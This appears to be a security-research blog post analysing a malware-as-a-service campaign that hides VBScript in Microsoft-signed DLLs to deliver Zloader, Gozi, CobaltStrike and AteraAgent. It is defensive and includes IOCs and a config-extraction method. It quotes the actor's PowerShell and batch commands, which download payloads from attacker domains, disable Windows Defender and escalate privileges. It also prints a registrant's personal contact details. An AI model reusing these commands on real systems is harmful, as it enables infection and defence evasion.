Signed DLL campaigns as a service By Jason Reaves Published: 2022-01-11 · Archived: 2026-04-05 22:52:03 UTC 10 min read Jan 11, 2022 By: Jason Reaves and Joshua Platt Press enter or click to view image in full size Recently an actor has begun using a technique of embedding VBScript data at the end of Microsoft signed DLLs in order to GPG decrypt and then detonate payloads. While writing up our research another article was released on this by CheckPoint[7][8] but we felt there are enough pieces from our own research that can add to the story. This concept has been talked about before using various files and is normally referred to as ‘Polyglotting’, for example lnk files[2] and appending to PE files[1]. For these campaigns they used Microsoft signed DLLs and abused a code signing check bug in attempts to bypass security measures. https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 1 of 16 The campaigns related to Zloader have also been previously discussed[3] so we will be focusing on going over the updates and differences in the more recent campaigns. Campaign The campaign has multiple components but the idea is to ultimately detonate malware, the malware payloads we went over include the following: AterAgent RAT Zloader Gozi CobaltStrike As previously mentioned in the SentinelOne[3] article these campaigns still begin with fake installers, for the more recent campaigns we investigated they were using AdvancedInstaller to create the packages which would then kick off the detonation process of various components. Press enter or click to view image in full size The follow up components will handle various setup functionality such as setting up exclusions for msiexec using VBScript code appended to Microsoft signed binaries: Along with installing GPG for powershell usage: function Install-GnuPg { <# .SYNOPSIS This function installed the GnuPg for Windows application. It the installer file is not in the DownloadFolderPath, the function will download the file from the Internet and then execute a si .PARAMETER DownloadFolderPath The folder path where you'd like to download the GnuPg for Windows installer into.$uri = 'https:// $moduleFolderPath = 'C:\Program Files\WindowsPowerShell\Modules\GnuPg' $null = New-Item -Path $moduleFolderPath -Type Directory Invoke-WebRequest -Uri $uri -OutFile (Join-Path -Path $moduleFolderPath -ChildPath 'GnuPg.psm1') $env:APPDATA Install-GnuPG -DownloadFolderPath $env:APPDATA echo "START" https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 3 of 16 The script will also perform some interesting checks to determine the likelyhood of being in an enterprise environment: $MaxIPToSendRequest = 2$UserDomain = wmic computersystem get domain $UserDomain = $UserDomain[2] $UserDomain = $UserDomain.trim()$UserPCname = $env:computername $UserPCname = $UserPCname.trim()Write-Host 'UserDomain = '$UserDomain Write-Host 'UserPCname = '$UserPCname$Condition001 = ($UserDomain -ne $UserPCname) $Condition002 = ($UserDomain -ne "WORKGROUP")$ArpInfo = arp -a$arr1 =$ArpInfo | select-string "192.1 $arr1_count= $arr1.length #Write-Output $arr1$arr2 =$ArpInfo | select-string "10.(\d{1,3}).\d{1,3}(\.\d{1,3})(.)*(\w\w- $arr2_count= $arr2.length #Write-Output $arr2$arr3 =$ArpInfo | select-string "172.(\d{1,3}).\d{1,3}(\.\d{1,3})(.)*(\w\w $arr3_count= $arr3.length #Write-Output $arr3 $IP_count= $arr1_count + $arr2_count + $arr3_count Write-Host 'IP_count =' $IP_count$Condition003 = ($IP_count -ge $MaxIPToSendRequest)$Condition_All = These checks then determine which malware will be installed, if all the conditions are met and the script is likely inside an enterprise then for this instance it will install CobaltStrike and AteraAgent RAT, if not then it will install Gozi or Zloader. if ($Condition_All ) { $URL = "https://cloudfiletehnology.com/z00m/index/processingSetRequestCoba/?servername=msi&a Invoke-WebRequest https://cloudfiletehnology.com/z00m/index/processingSetRequestBat5/?servername=ms Invoke-WebRequest https://cloudfiletehnology.com/z00m/index/processingSetRequestBat6/?servername=ms Invoke-WebRequest $URL -outfile zoom2.dll.gpg Invoke-WebRequest https://cloudfiletehnology.com/z00m/index/processingSetRequestAtera/?servername=m } else { $URL = "https://cloudfiletehnology.com/z00m/index/processingSetRequestBot/?servername=msi&arp="+ $IP_ Invoke-WebRequest https://cloudfiletehnology.com/z00m/index/processingSetRequestBat5/?servername=ms Invoke-WebRequest https://cloudfiletehnology.com/z00m/index/processingSetRequestBat6/?servername=ms Invoke-WebRequest $URL -outfile zoom.dll.gpg } From here it begins leveraging multiple batch files in sequences to, but you may notice a number of DLL files are also being downloaded, these DLL files are normally Microsoft signed DLLs with appended VBScript code. PE Polyglot Technique https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 4 of 16 Some of these abused DLLs have 0 detections on VirusTotal: Press enter or click to view image in full size Screenshot from VirusTotal If we look into the data on the file however we can see VBScript code has been appended to the file: 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 Prettier version of just the VBScript: This DLL is meant to be executed by ‘mshta.exe’ which will then decrypt and detonate files. The detonation piece will involve the usage of batch files as previously mentioned, example: e3d7f1af2bc790cf143827d2335b594dc3d54a0f49cb61e0b8d6a2d1f0ad27cb cd %APPDATA% start /b cmd /c C:\Windows\System32\mshta.exe %APPDATA%\appContast.dll start /b cmd /c C:\Windows\System32\mshta.exe %APPDATA%\apiicontrast.dll powershell Invoke-WebRequest https://commandaadmin.com/adminpriv.exe -OutFile adminpriv.exe adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Polic adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Polic adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Polic adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Polic powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat"" adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures adminpriv -U:T sc config WinDefend start= disabled ping 127.0.0.1 -n 50 > nul powershell Invoke-WebRequest https://commandaadmin.com/reboos.dll -OutFile reboos.dll cd %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup powershell Invoke-WebRequest https://commandaadmin.com/auto.bat -OutFile auto.bat powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\sys shutdown shutdown /s /f /t 01 shutdown /s /f /t 00 shutdown /s /f For this instance adminpriv is Nsudo[4] and reboos.dll is for detonating a separate DLL using the same trick with mshta.exe: https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 6 of 16 The downloaded batch file `auto.bat` from above will leverage adminpriv which we mentioned is NSude[4]: adminpriv -U:T -ShowWindowMode:Hide sc delete windefend It will also execute other vbs code which also lines up with the previous work done by SentinelOne: :UACPrompt echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"=" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 0 >> "%temp%\getadmin.vbs""%tem del "%temp%\getadmin.vbs" exit /B And finally we can see it detonate the code appended to the DLL using mshta: start /b cmd /c C:\Windows\System32\mshta.exe %APPDATA%\apiicontrast.dll The zoom file as it turns out for this instance is an AteraAgent installer: Get Jason Reaves’s stories in your inbox Join Medium for free to get updates from this writer. Remember me for faster sign in b6280ee7d58b89b0951f08aabe64f1780887bf360e8a725e4269675398ebad65 Plushkinloder9@yandex.ru The email associated with the Atera installer was also used for a domain registration: Registry Registrant ID: reg-a6r6lkbkoh64 Registrant Name: Alexey Samoylov Registrant Organization: Private Person Registrant Street: sadovaya 14 Registrant City: oktyaborskiy https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 7 of 16 Registrant State/Province: Ulyanovskaya Registrant Postal Code: 433407 Registrant Country: RU Registrant Phone: +7.9260229351 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: plushkinloder9@yandex.ru Registry Admin ID: reg-zsnzthxfekkq Admin Name: Alexey Samoylov Admin Organization: Private Person Admin Street: sadovaya 14 Admin City: oktyaborskiy Admin State/Province: Ulyanovskaya Admin Postal Code: 433407 Admin Country: RU Admin Phone: +7.9260229351 Admin Phone Ext: Admin Fax: +7.9260229351 Admin Fax Ext: Admin Email: plushkinloder9@yandex.ru Registry Tech ID: reg-v8bnf870ivb6 Tech Name: Alexey Samoylov Tech Organization: Private Person Tech Street: sadovaya 14 Tech City: oktyaborskiy Tech State/Province: Ulyanovskaya Tech Postal Code: 433407 Tech Country: RU Tech Phone: +7.9260229351 Tech Phone Ext: Tech Fax: +7.9260229351 Tech Fax Ext: Tech Email: plushkinloder9@yandex.ru Atleast one campaign server was still online during our research from December campaigns: Press enter or click to view image in full size https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 8 of 16 Installer campaign panel login This is a sold service and can be linked to a crew we have previously discussed, ConfCrew[6]. Campaign stats Campaigns began in May 2021 and go through December 2021: Infections by month in 2021 The infections are primarily located in the US and Europe but do cover a wide range of places geographically: https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 9 of 16 Infections by geolocation Malware Config Extraction The Zloader is the newer version, the config is simply encrypted with RC4 using a hardcoded key which was mentioned in the article by Hasherezade previously[5]. We can abuse the NULL values in the internal configuration along with some basic knowledge of RC4 encryption to find the internal config after we first find the key: config_key = re.findall('[a-z]{20,}', data) After finding the key we can find the encrypted config by looking for 16 bytes chunks from the 256 byte SBOX, this would tell us the general area where the encrypted config is which then makes this a bruteable problem. if len(config_key) > 0: #Find possible key key = config_key[0] #Because ARC4 is a reoccuring sbox of 256 bytes #We can possible find the encrypted config by looking for any 16 byte # sequence from a null encrypted block temp = '\x00'*256 rc4 = ARC4.new(key) needle = rc4.encrypt(temp) offsets = [] https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 10 of 16 for i in range(256/16): if needle[i*16:(i+1)*16] in data: offsets.append(data.find(needle[i*16:(i+1)*16])) if len(offsets) > 0: #Take first occurrence off = min(offsets) #Create bruteable space blob = data[off-(1024*4):off+(1024*4)] Now we just brute until we find a known plaintext string: for i in range(len(blob)): rc4 = ARC4.new(key) test = rc4.decrypt(blob[i:]) if 'http://' in test or 'https://' in test: print("Found it") print(test) break Zloader internal config: CAMPAIGN: vasja C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 And pivoting on the C2 key we can find lots of campaigns by this actor: CAMPAIGN: personal C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 11 of 16 https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CAMPAIGN: googleaktualizacija C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CAMPAIGN: buldog C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CAMPAIGN: personal C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CAMPAIGN: 9092ge https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 12 of 16 C2: https://asdfghdsajkl.com/gate.php https://lkjhgfgsdshja.com/gate.php https://kjdhsasghjds.com/gate.php https://kdjwhqejqwij.com/gate.php https://iasudjghnasd.com/gate.php https://daksjuggdhwa.com/gate.php https://dkisuaggdjhna.com/gate.php https://eiqwuggejqw.com/gate.php https://dquggwjhdmq.com/gate.php https://djshggadasj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CAMPAIGN: googleaktualizacija C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CAMPAIGN: tim C2: https://iqowijsdakm.com/gate.php https://wiewjdmkfjn.com/gate.php https://dksaoidiakjd.com/gate.php https://iweuiqjdakjd.com/gate.php https://yuidskadjna.com/gate.php https://olksmadnbdj.com/gate.php https://odsakmdfnbs.com/gate.php https://odsakjmdnhsaj.com/gate.php https://odjdnhsaj.com/gate.php https://odoishsaj.com/gate.php C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504 CobaltStrike was also found to be leveraged by this actor for enterprise environments: {'SPAWNTO_X64': '%windir%\\sysnative\\dllhost.exe', 'SLEEPTIME': '45000', 'C2_VERB_GET': 'GET', 'Proc Gozi: https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 13 of 16 { "DLL_32": { "CONFIG_FAIL_TIMEOUT": "20", "VER": "131353", "UNKNOWN": "", "DGA_COUNT": "10", "TIMER": "0", "CRC_HOSTS": "google.mail.com firsone1.online kdsjdsadas.online", "CRC_URI_EXT": ".bmp", "CRC_URI": "/jkloll/", "CRC_SERVERKEY": "01026655AALLKENM", "MD5": "1c362dcf0fe517a05952caf90ae1d992", "CRC_SERVER": "12", "IMPHASH": "0d41e840891676bdaee3e54973cf5a69", "PUB_KEY": "f9ccfec396940a0f3ba99d0043ae8c9a5df54fde98c1596c974533e2050fbd92623d802012d8c5f00 "SHA256": "5d80327decb188074a67137699e5fccdc3a8b296a931ddf20d37597cebb4d140", "CONF_TIMEOUT": "10", "CRC_GROUP": "9090" } } IOCs Installer system: cloudfiletehnology.com zoomdownloab.site pornofilmspremium.com datalystoy.com cmdadminu.com teambatfor.com clouds222.com commandaadmin.com Installer panel traffic Patterns: /processingSetRequestBat1/?servername= /processingSetRequestBat2/?servername= /processingSetRequestBat3/?servername= /processingSetRequestBat4/?servername= /processingSetRequestBat5/?servername= /processingSetRequestBat6/?servername= /processingSetRequestBot/?servername= /processingSetRequestCoba/?servername= https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 14 of 16 /processingSetRequestDownload/?servername= /processingSetRequestAtera/?servername= Gozi: firsone1.online kdsjdsadas.online Zloader: eiqwuggejqw.com yuidskadjna.com iweuiqjdakjd.com odsakmdfnbs.com odjdnhsaj.com djshggadasj.com dquggwjhdmq.com kjdhsasghjds.com lkjhgfgsdshja.com iqowijsdakm.com dkisuaggdjhna.com dksaoidiakjd.com iasudjghnasd.com odsakjmdnhsaj.com asdfghdsajkl.com wiewjdmkfjn.com olksmadnbdj.com daksjuggdhwa.com kdjwhqejqwij.com odoishsaj.com CobaltStrike: jersydok.com References 1: http://blog.sevagas.com/?Hacking-around-HTA-files 2: https://hatching.io/blog/lnk-hta-polyglot/ 3:https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/ 4:https://github.com/M2Team/NSudo https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 15 of 16 5:https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf 6:https://www.sentinelone.com/labs/valak-malware-and-the-connection-to-gozi-loader-confcrew/ 7:https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/ 8:https://www.bleepingcomputer.com/news/security/microsoft-code-sign-check-bypassed-to-drop-zloader-malware/ Source: https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489 Page 16 of 16